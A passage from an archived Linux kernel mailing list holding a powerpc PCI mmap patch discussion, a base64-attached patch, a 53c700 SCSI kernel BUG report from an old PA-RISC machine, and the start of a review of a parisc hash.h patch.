-        return pgprot_noncached(protection);
-}
-
-/*
  * This one is used by /dev/mem and fbdev who have no clue about the
  * PCI device, it tries to find the PCI device first and calls the
  * above routine
@@ -458,9 +428,10 @@ int pci_mmap_page_range(struct pci_dev *dev,
struct vm_area_struct *vma,
         return -EINVAL;

     vma->vm_pgoff = offset >> PAGE_SHIFT;
-    vma->vm_page_prot = __pci_mmap_set_pgprot(dev, rp,
-                          vma->vm_page_prot,
-                          mmap_state, write_combine);
+    if (write_combine)
+        vma->vm_page_prot = pgprot_noncached_wc(protection);
+    else
+        vma->vm_page_prot = pgprot_noncached(protection);

     ret = remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
                    vma->vm_end - vma->vm_start, vma->vm_page_prot);

From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH v12 01/15] PCI: Let pci_mmap_page_range() take extra
 resource pointer
Date: Wed, 8 Jun 2016 17:00:47 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <CAE9FiQWw0pUB=1iDrX_1qyMFAUGQidSaV7CPc0aNb2CzPB-fZw@mail.gmail.com>
References: <20160604000642.28162-1-yinghai@kernel.org> <20160604000642.28162-2-yinghai@kernel.org>
 <20160608210322.GA4248@localhost> <CAE9FiQXPmG6UYYGHG52_i8vaBJ5yPm6Z4Zfx_BhQxVhyWC5fnw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=001a113f269454a1b90534cd1d05
X-Trace: ger.gmane.org 1465430456 16641 80.91.229.3 (9 Jun 2016 00:00:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 00:00:56 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	David Miller <davem@davemloft.net>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Wei Yang <weiyang@linux.vnet.ibm.com>,
	Khalid Aziz <khalid.aziz@oracle.com>,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>, linux-cris-kernel@axis.com,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
	linux-sh@vger.kernel.org,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	linux-xtensa@linux-xtensa.org
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 09 02:00:54 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bAnP3-0001MD-Hn
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jun 2016 02:00:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932896AbcFIAAw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 8 Jun 2016 20:00:52 -0400
Original-Received: from mail-vk0-f65.google.com ([209.85.213.65]:35985 "EHLO
	mail-vk0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932119AbcFIAAu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 8 Jun 2016 20:00:50 -0400
Original-Received: by mail-vk0-f65.google.com with SMTP id x7so3869487vkf.3;
        Wed, 08 Jun 2016 17:00:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=wmvDU1LtFWJWiuucwj2eNRASPxKcH+PlkW8uS28I+5U=;
        b=JJGMt3+CCVl6066hT53Cf5V8fTnxynVHfLyikFxDzmCdJDj3Akx0nZDSrlauBEqeG1
         0mF3IAxas/nAqdjDYDjHEkVGaVr/5V1jyDgWlgzCDc9VMYiKefH7PIVdZhWJ0iZFg0Kt
         rFx6f7js7wnR0yUwCI7CQNuhC6v1DnShjz4n3WPCAbhvcxPmHj0hSLRboG9Hj//az3YK
         Lxl94L+egyR1UBW9R8zAvUIa53/aveq5n6zVr4Un8yTFDY5DjRrBkVJESVnG5Iw9jnuI
         d1p1DwznRILT210flnvJm2itJOHLjZ8oZUNcS18gisrRbDHmIW5NNG7yQEia1hDbzqjB
         KmBg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=wmvDU1LtFWJWiuucwj2eNRASPxKcH+PlkW8uS28I+5U=;
        b=I7EWaL1pYUnXfHNlCt0WjQ6cWs/ckiud8uwgj1jG7fYBrh0cy4knPKsBTgL9By+VQC
         Uwwxj6GuiChVfCOQ/9jHS7Z0JxavFpmmMUZmwkhp689onBn7yXZ9/k6c8tJNMSiHVmaJ
         MWhOkdzbqfWeAFce0ogWJ+FNXKKwcrZ2iPFfTvKwujL/EcLIM70tkeXoWxf5DtJChT7P
         N2NuJxglWN/fZKuXJH8OQJB/qdE12HhpfgTwBB3Boe4E9o4XF8jT6qBPEnn3jeJr0HP4
         2GnjehEyeGpoFLwyz8UF/E0d3OMhWvFOuxxt/LKw+90XAAkg2jE/fnnPpYp07cwSJ2/9
         AF5g==
X-Gm-Message-State: ALyK8tLsC3qs/rrS9cyCxxXmOYMCTaS/8vCQ2OE2C1vaGsGgX0NzwuPnSqBl7xV/Ir1sPQVZhD87SO5+naWDSA==
X-Received: by 10.176.3.72 with SMTP id 66mr3425821uat.146.1465430448568; Wed,
 08 Jun 2016 17:00:48 -0700 (PDT)
Original-Received: by 10.103.81.11 with HTTP; Wed, 8 Jun 2016 17:00:47 -0700 (PDT)
In-Reply-To: <CAE9FiQXPmG6UYYGHG52_i8vaBJ5yPm6Z4Zfx_BhQxVhyWC5fnw@mail.gmail.com>
X-Google-Sender-Auth: z1Fi83VDkSmDYQsnrl48WM2oheg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26851 gmane.linux.kernel.pci:52478 gmane.linux.kernel:2239353 gmane.linux.ports.arm.kernel:505475 gmane.linux.ports.ia64:26861 gmane.linux.ports.mips.general:55068 gmane.linux.ports.ppc64.devel:128340 gmane.linux.ports.sh.devel:54180 gmane.linux.ports.sparc:23051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26851>

--001a113f269454a1b90534cd1d05
Content-Type: text/plain; charset=UTF-8

On Wed, Jun 8, 2016 at 3:35 PM, Yinghai Lu <yinghai@kernel.org> wrote:

> At the same time, can you kill __pci_mmap_set_pgprot() for powerpc.

Can you please put your two patches and this attached one into to pci/next?

Then I could send updated PCI: Let pci_mmap_page_range() take resource address.

Thanks

Yinghai

--001a113f269454a1b90534cd1d05
Content-Type: text/x-patch; charset=US-ASCII; name="remove_powerpc_pci_prot.patch"
Content-Disposition: attachment; filename="remove_powerpc_pci_prot.patch"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_ip7jeokf0

RnJvbTogQmpvcm4gSGVsZ2FhcyA8YmhlbGdhYXNAZ29vZ2xlLmNvbT4KU3ViamVjdDogW1BBVENI
XSBwb3dlcnBjL1BDSTogUmVtb3ZlIF9fcGNpX21tYXBfc2V0X3BncHJvdCgpCgogIFBDSTogSWdu
b3JlIHdyaXRlLWNvbWJpbmluZyB3aGVuIG1hcHBpbmcgSS9PIHBvcnQgc3BhY2UKYWxyZWFkeSBo
YW5kbGUgdGhlIGlvIHBvcnQgbW1hcCBwYXRoLgoKRm9yIG1taW8gbW1hcCBwYXRoLCBjYWxsZXIg
c2hvdWxkIHN0YXRlIHRoYXQgY29ycmVjdGx5IGlmIHdyaXRlX2NvbWJpbmUKaXMgcmVhbGx5IG5l
ZWRlZC4KCnZpYSBwcm9jIHBhdGggaXQgc2hvdWxkIGxvb2sgbGlrZToKICBtbWFwKGZkLCAuLi4p
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBkZWZhdWx0IGlzIEkvTywgbm9uLWNvbWJpbmlu
ZwogIGlvY3RsKGZkLCBQQ0lJT0NfV1JJVEVfQ09NQklORSwgMSk7ICAgICAjIHJlcXVlc3Qgd3Jp
dGUtY29tYmluaW5nCiAgaW9jdGwoZmQsIFBDSUlPQ19NTUFQX0lTX01FTSk7ICAgICAgICAgICMg
cmVxdWVzdCBtZW1vcnkgc3BhY2UKICBtbWFwKGZkLCAuLi4pCgpzeXNmcyBwYXRoLCBpdCBzaG91
bGQgdXNlIHJlc291cmNlXT9dX3djLgoKU2lnbmVkLW9mZi1ieTogQmpvcm4gSGVsZ2FhcyA8Ymhl
bGdhYXNAZ29vZ2xlLmNvbT4KCi0tLQogYXJjaC9wb3dlcnBjL2tlcm5lbC9wY2ktY29tbW9uLmMg
fCAgIDM3ICsrKystLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIDEgZmlsZSBjaGFu
Z2VkLCA0IGluc2VydGlvbnMoKyksIDMzIGRlbGV0aW9ucygtKQoKSW5kZXg6IGxpbnV4LTIuNi9h
cmNoL3Bvd2VycGMva2VybmVsL3BjaS1jb21tb24uYwo9PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBsaW51eC0yLjYu
b3JpZy9hcmNoL3Bvd2VycGMva2VybmVsL3BjaS1jb21tb24uYworKysgbGludXgtMi42L2FyY2gv
cG93ZXJwYy9rZXJuZWwvcGNpLWNvbW1vbi5jCkBAIC0zNTYsMzYgKzM1Niw2IEBAIHN0YXRpYyBz
dHJ1Y3QgcmVzb3VyY2UgKl9fcGNpX21tYXBfbWFrZV8KIH0KIAogLyoKLSAqIFNldCB2bV9wYWdl
X3Byb3Qgb2YgVk1BLCBhcyBhcHByb3ByaWF0ZSBmb3IgdGhpcyBhcmNoaXRlY3R1cmUsIGZvciBh
IHBjaQotICogZGV2aWNlIG1hcHBpbmcuCi0gKi8KLXN0YXRpYyBwZ3Byb3RfdCBfX3BjaV9tbWFw
X3NldF9wZ3Byb3Qoc3RydWN0IHBjaV9kZXYgKmRldiwgc3RydWN0IHJlc291cmNlICpycCwKLQkJ
CQkgICAgICBwZ3Byb3RfdCBwcm90ZWN0aW9uLAotCQkJCSAgICAgIGVudW0gcGNpX21tYXBfc3Rh
dGUgbW1hcF9zdGF0ZSwKLQkJCQkgICAgICBpbnQgd3JpdGVfY29tYmluZSkKLXsKLQotCS8qIFdy
aXRlIGNvbWJpbmUgaXMgYWx3YXlzIDAgb24gbm9uLW1lbW9yeSBzcGFjZSBtYXBwaW5ncy4gT24K
LQkgKiBtZW1vcnkgc3BhY2UsIGlmIHRoZSB1c2VyIGRpZG4ndCBwYXNzIDEsIHdlIGNoZWNrIGZv
ciBhCi0JICogInByZWZldGNoYWJsZSIgcmVzb3VyY2UuIFRoaXMgaXMgYSBiaXQgaGFja2lzaCwg
YnV0IHdlIHVzZQotCSAqIHRoaXMgdG8gd29ya2Fyb3VuZCB0aGUgaW5hYmlsaXR5IG9mIC9zeXNm
cyB0byBwcm92aWRlIGEgd3JpdGUKLQkgKiBjb21iaW5lIGJpdAotCSAqLwotCWlmIChtbWFwX3N0
YXRlICE9IHBjaV9tbWFwX21lbSkKLQkJd3JpdGVfY29tYmluZSA9IDA7Ci0JZWxzZSBpZiAod3Jp
dGVfY29tYmluZSA9PSAwKSB7Ci0JCWlmIChycC0+ZmxhZ3MgJiBJT1JFU09VUkNFX1BSRUZFVENI
KQotCQkJd3JpdGVfY29tYmluZSA9IDE7Ci0JfQotCi0JLyogWFhYIHdvdWxkIGJlIG5pY2UgdG8g
aGF2ZSBhIHdheSB0byBhc2sgZm9yIHdyaXRlLXRocm91Z2ggKi8KLQlpZiAod3JpdGVfY29tYmlu
ZSkKLQkJcmV0dXJuIHBncHJvdF9ub25jYWNoZWRfd2MocHJvdGVjdGlvbik7Ci0JZWxzZQotCQly
ZXR1cm4gcGdwcm90X25vbmNhY2hlZChwcm90ZWN0aW9uKTsKLX0KLQotLyoKICAqIFRoaXMgb25l
IGlzIHVzZWQgYnkgL2Rldi9tZW0gYW5kIGZiZGV2IHdobyBoYXZlIG5vIGNsdWUgYWJvdXQgdGhl
CiAgKiBQQ0kgZGV2aWNlLCBpdCB0cmllcyB0byBmaW5kIHRoZSBQQ0kgZGV2aWNlIGZpcnN0IGFu
ZCBjYWxscyB0aGUKICAqIGFib3ZlIHJvdXRpbmUKQEAgLTQ1OCw5ICs0MjgsMTAgQEAgaW50IHBj
aV9tbWFwX3BhZ2VfcmFuZ2Uoc3RydWN0IHBjaV9kZXYgKgogCQlyZXR1cm4gLUVJTlZBTDsKIAog
CXZtYS0+dm1fcGdvZmYgPSBvZmZzZXQgPj4gUEFHRV9TSElGVDsKLQl2bWEtPnZtX3BhZ2VfcHJv
dCA9IF9fcGNpX21tYXBfc2V0X3BncHJvdChkZXYsIHJwLAotCQkJCQkJICB2bWEtPnZtX3BhZ2Vf
cHJvdCwKLQkJCQkJCSAgbW1hcF9zdGF0ZSwgd3JpdGVfY29tYmluZSk7CisJaWYgKHdyaXRlX2Nv
bWJpbmUpCisJCXZtYS0+dm1fcGFnZV9wcm90ID0gcGdwcm90X25vbmNhY2hlZF93Yyh2bWEtPnZt
X3BhZ2VfcHJvdCk7CisJZWxzZQorCQl2bWEtPnZtX3BhZ2VfcHJvdCA9IHBncHJvdF9ub25jYWNo
ZWQodm1hLT52bV9wYWdlX3Byb3QpOwogCiAJcmV0ID0gcmVtYXBfcGZuX3JhbmdlKHZtYSwgdm1h
LT52bV9zdGFydCwgdm1hLT52bV9wZ29mZiwKIAkJCSAgICAgICB2bWEtPnZtX2VuZCAtIHZtYS0+
dm1fc3RhcnQsIHZtYS0+dm1fcGFnZV9wcm90KTsK
--001a113f269454a1b90534cd1d05--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel BUG in drivers/scsi/53c700.c:1129
Date: Thu, 9 Jun 2016 21:36:04 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <5759C524.2030009@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465500982 29178 80.91.229.3 (9 Jun 2016 19:36:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 19:36:22 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: "James.Bottomley@HansenPartnership.com" 
	<James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 09 21:36:16 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB5kV-0007B8-UQ
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jun 2016 21:36:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751477AbcFITgP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 15:36:15 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:56206 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751203AbcFITgO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 15:36:14 -0400
Original-Received: from [192.168.20.60] ([92.203.41.51]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MKIEQ-1bCjuF2NVu-001iul; Thu, 09 Jun 2016 21:36:05
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
X-Provags-ID: V03:K0:l/5DfHpKLF/OZLqHKwqkFzT1jZiS8T2iGs1MnMRPPDBxWhaXZTe
 dMlzrTOBHyvoAfuhJOO7uytn5sBkxfME+8FihsYOm84l2FD56mjbxXfesDTrZ7DNC/owRr/
 hCGBvP/Ibh9Gyr6Qq2YGC/pebTdfs0h+/nNxvDtXdW159+QUkUN5GLN7K8ATcgWc0f58TTz
 kHoehQ8kfnM1nvL/U4Hbw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:yhAyVJ+o588=:PDyBNJULhjwMpUYKKOzRMy
 f2K4Bk0S2N6h2+m3fDk3xWVPPB76z1iNXe9RUkliSXoHhxHlw8vj5oK3/zeplXXMUQrTqcx13
 emHvbtVkHGjY1npci2S+dlm4IKticQbEeATjDcDDM/XdEnOmlqhdXmz1+pxU9LGdM1v2bv9Yt
 wJI1vYvmq0rFEJODyl72/FuzNq7v0ftEV4yW5IzxTuk1UxUKP8SmCW7sPK4ZwrN9kndpt/FGG
 KeCEtgnPavDm0YKtOhh2nDHHwmyh5YfuFqr60dJPMKXUFTNHL70QPF0r+35q299eJuRtbF8Y3
 rpLhXWe2Z6Srul/sfQLfOgXU9SLyNPHt15b0qXHUj0iCY27f5333Jxnj9SH+QUysn9MrUn8UK
 hz6qVnq6NPOaybxPQASlkZ9GnoRyabNs/LepUyZTtldKolxOhKtYDS4OOjoBUKW1Gt0yFSC5j
 HcdYSD0vr2l5v/UCRgIcZmnshFeFtdT8bsK1jX9SJnjgXzEnhurStpX4BM/itjegl+l2muhER
 Q6tntlT68uuMU1gfeZcv1FkYIufSnoW62HopFks9pvGMO3lz10XG9NmtWBu1/YrSVdV1ZQ1n7
 xsVMjVPu/I9c/TDZLclwer8qwbqjIAD6L2a6iVnffhf1/n+BIq4iUDVC+aR7pAEqKFLxh4wE6
 hWfNAjs56ryh5rU10NkYVCc1lWFSvi1dUDRft2gPYfiP/OFnRxgyrGLuFu6TZaCa7Ah+ZAV/l
 waX4dr3VwyWvpuKwM30RbvquFhKHM4vL+7sPy+vecn45CztVt7I9HIVbemYgQIXOSZn1vP7H 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26852
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26852>

Hi James,

I just tried Debian kernel 4.6.1-1 on my historic 715/64 machine, and it
ran into this  BUG() in the LASI scsi driver:

 scsi 0:0:6:0: no saved request for untagged cmd

Any idea?

Helge
 
[    0.000000] Linux version 4.6.0-1-parisc (debian-kernel@lists.debian.org) (gcc version 5.4.0 20160603 (Debian 5.4.0-3) ) #1 Debian 4.6.1-1 (2016-06-06)
...
[    0.000000] Determining PDC firmware type: Snake.
[    0.000000] model 000060a0 00000481 00000000 00000000 773c7d2c 00000000 00000004 00000072 00000072
[    0.000000] vers  0000000c
[    0.000000] model 9000/715
[    0.000000] Total Memory: 160 MB
...
[   43.180000] SCSI subsystem initialized
[   45.076000] 53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
[   45.156000] scsi0: 53c710 rev 2 
[   46.204000] scsi host0: LASI SCSI 53c700
[   58.268000] scsi 0:0:6:0: no saved request for untagged cmd
[   58.336000] ------------[ cut here ]------------
[   58.392000] kernel BUG at /build/linux-XAODSw/linux-4.6.1/drivers/scsi/53c700.c:1129!
[   58.484000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-1-parisc #1 Debian 4.6.1-1
[   58.580000] task: 1083cdd8 ti: 107b1000 task.ti: 107b1000
[   58.644000] 
[   58.660000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   58.716000] PSW: 00000000000001001111111100001110 Not tainted
[   58.788000] r00-03  0004ff0e 0084e388 00a8ea8c 107ba400
[   58.848000] r04-07  00000000 00000000 15b88cc0 00000006
[   58.912000] r08-11  198ca400 000000ff 00000020 00000000
[   58.976000] r12-15  000000ff 00001003 10801020 00000001
[   59.036000] r16-19  107b1240 00000002 000000ff 00000001
[   59.100000] r20-23  00000001 0000000e 0084f388 00000000
[   59.164000] r24-27  107ba500 0083b540 1021a7a4 107b5020
[   59.224000] r28-31  00000000 00000040 107ba480 104d52bc
[   59.288000] sr00-03  00000000 00000000 00000000 0000000d
[   59.352000] sr04-07  00000000 00000000 00000000 00000000
[   59.416000] 
[   59.432000] IASQ: 00000000 00000000 IAOQ: 00a8ea8c 00a8ea90
[   59.500000]  IIR: 03ffe01f    ISR: 0000000d  IOR: 00a8ea90
[   59.564000]  CPU:        0   CR30: 107b1000 CR31: f00effff
[   59.632000]  ORIG_R28: 10855e80
[   59.668000]  IAOQ[0]: process_script_interrupt+0x13ec/0x16a4 [53c700]
[   59.748000]  IAOQ[1]: process_script_interrupt+0x13f0/0x16a4 [53c700]
[   59.824000]  RP(r2): process_script_interrupt+0x13ec/0x16a4 [53c700]
[   59.900000] Backtrace:
[   59.928000]  [<00a8ea8c>] process_script_interrupt+0x13ec/0x16a4 [53c700]
[   60.012000] 
[   60.028000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-1-parisc #1 Debian 4.6.1-1
[   60.120000] Backtrace:
[   60.148000]  [<1015bffc>] show_stack+0x3c/0x50
[   60.204000]  [<10425d40>] dump_stack+0x28/0x38
[   60.256000]  [<1015c180>] die_if_kernel+0x134/0x20c
[   60.316000]  [<1015cd34>] handle_interruption+0x804/0x828
[   60.380000] 
[   60.400000] Kernel panic - not syncing: Fatal exception in interrupt
[   60.400000] ---[ end Kernel panic - not syncing: Fatal exception in interrupt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH v4] parisc: add <asm/hash.h>
Date: Thu, 9 Jun 2016 21:53:59 +0200
Lines: 271
Approved: news@gmane.org
Message-ID: <5759C957.5090607@gmx.de>
References: <20160607234506.32160.qmail@ns.sciencehorizons.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1465502061 14282 80.91.229.3 (9 Jun 2016 19:54:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 9 Jun 2016 19:54:21 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: George Spelvin <linux@sciencehorizons.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 09 21:54:10 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bB61p-00032U-Ha
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Jun 2016 21:54:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751361AbcFITyJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Jun 2016 15:54:09 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:62051 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751345AbcFITyI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Jun 2016 15:54:08 -0400
Original-Received: from [192.168.20.60] ([92.203.41.51]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MV5hN-1awV1Q1vht-00YUY3; Thu, 09 Jun 2016 21:54:01
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160607234506.32160.qmail@ns.sciencehorizons.net>
X-Provags-ID: V03:K0:2+u6AFWRKRM8qAmcxmRwExeknoqoyJoEZf2TX9cnu7X1QSb0Sf3
 0eb3LKsobtAWpHmz0PsyCSPh0phEf/LV0FDF4IRO3gvu8XnSv6dYwGS51wwhUSN2vtDY9So
 sN3+c030lCVG9m6OQpgkf0FfypR4hMIyFbt4zt/z3qns3OChjrnz5+yn21MEGE32HQK5sfH
 bisCZF2LLDHUchTm5rADQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:QcAj1+sT+YA=:+Ckn6ZoqdxyAxTO6AIqZSR
 SZDd9YbWh/sO7DvopE76+I2yAQNsnyVai7SqxpM+cmplsnSo8I3RTBRzgPtAQr4Eq3nYk6lLy
 KqfcbRkv+8UfOksZRdTgSDML1yDvRsQuVQMj9xjM5fDlJkiDknpR1D/X8uMy727WIwZ4QlXHF
 Y/VTVYbHcQZYXF6COUjzV+Ta9xueouFflRwdJ9dRZzQlj/Gd7rQLZqYZKFQUAcMfKr0t+KgYK
 dNJYYydXna/MHoV61/WvE/Zp5PJ4MWSpvePI38RuKm7ZH6ntf3hnw6yzRdO578jtfFEfiNW+R
 EHmmosewdiZo5NEl4vAP0dqhyMNAgUhTB8YOBREn4fFu+PfwG6M1/IKXp1jq9FUnxbpTCBUb3
 IMCREQoI4CdfIE53xcYUcX5WlZL4ynUDjYtOivTa+tecvOcoEaXzOOwx/ha5dKvIriCdU7jZO
 Y+2XxMu08FAPy1ZLw1vs7p+m07YgDpc3Yk2hcy8YfyxXIuewcmnQ7NfJJYxlqz9MVJM5g87zn
 uMlx94fvwEi9kJl7U7sZa1CqjsxSxlfd8uABZdlehvUuBGmvzWlPaARtoBN55yt25YftC9aUl
 RVnMf7ruBovniGkjuXZr1eYTgtJsYFEvjw4Ajk/nDC3cvZQVDsTlGrXkYwC9kSBmL6d0xxtXy
 Y/Wy6buV6Scd7d7TUohSlP/v+gI9tWIl4QfVr2J6Imc+exQn6tt7pI6zegwX5dHYjp1F8TFBD
 QOJjRhf15Jo2cKnO/dJoh4b9HJlD5vu7btaD6qESSWm1l/hAow7RZ52sowK+e/EnnlGsvDS4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26853
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26853>

Hi George,

On 08.06.2016 01:45, George Spelvin wrote:
> PA-RISC is interesting; integer multiplies are implemented in the
> FPU, so are painful in the kernel.  But it tries to be friendly to
> shift-and-add sequences for constant multiplies.
>=20
> __hash_32 is implemented using the same shift-and-add sequence as
> Microblaze, just scheduled for the PA7100.  (It's 2-way superscalar
> but in-order, like the Pentium.)
>=20
> hash_64 was tricky, but a suggestion from Jason Thong allowed a
> good solution by breaking up the multiplier.  After a lot of manual
> optimization, I found a 19-instruction sequence for the multiply that
> can be executed in 10 cycles using only 4 temporaries.
>=20
> (The PA8xxx can issue 4 instructions per cycle, but 2 must be ALU ops
> and 2 must be loads/stores.  And the final add can't be paired.)
>=20
> An alternative considered, but ultimately not used, was Thomas Wang's
> 64-to-32-bit integer hash.  At 12 instructions, it's smaller, but the=
y're
> all sequentially dependent, so it has longer latency.
>=20
> https://web.archive.org/web/2011/http://www.concentric.net/~Ttwang/te=
ch/inthash.htm
> http://burtleburtle.net/bob/hash/integer.html
>=20
> Signed-off-by: George Spelvin <linux@sciencehorizons.net>
> Cc: Helge Deller <deller@gmx.de>
> Cc: linux-parisc@vger.kernel.org
> ---
> No functional change, just cleaned up a lot.  This is final if no pro=
blems
> are found.

Thanks, but two minor issues...

>  arch/parisc/Kconfig            |   1 +
>  arch/parisc/include/asm/hash.h | 146 +++++++++++++++++++++++++++++++=
++++++++++
>  2 files changed, 147 insertions(+)
>  create mode 100644 arch/parisc/include/asm/hash.h
>=20
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 88cfaa8a..8ed2a444 100644
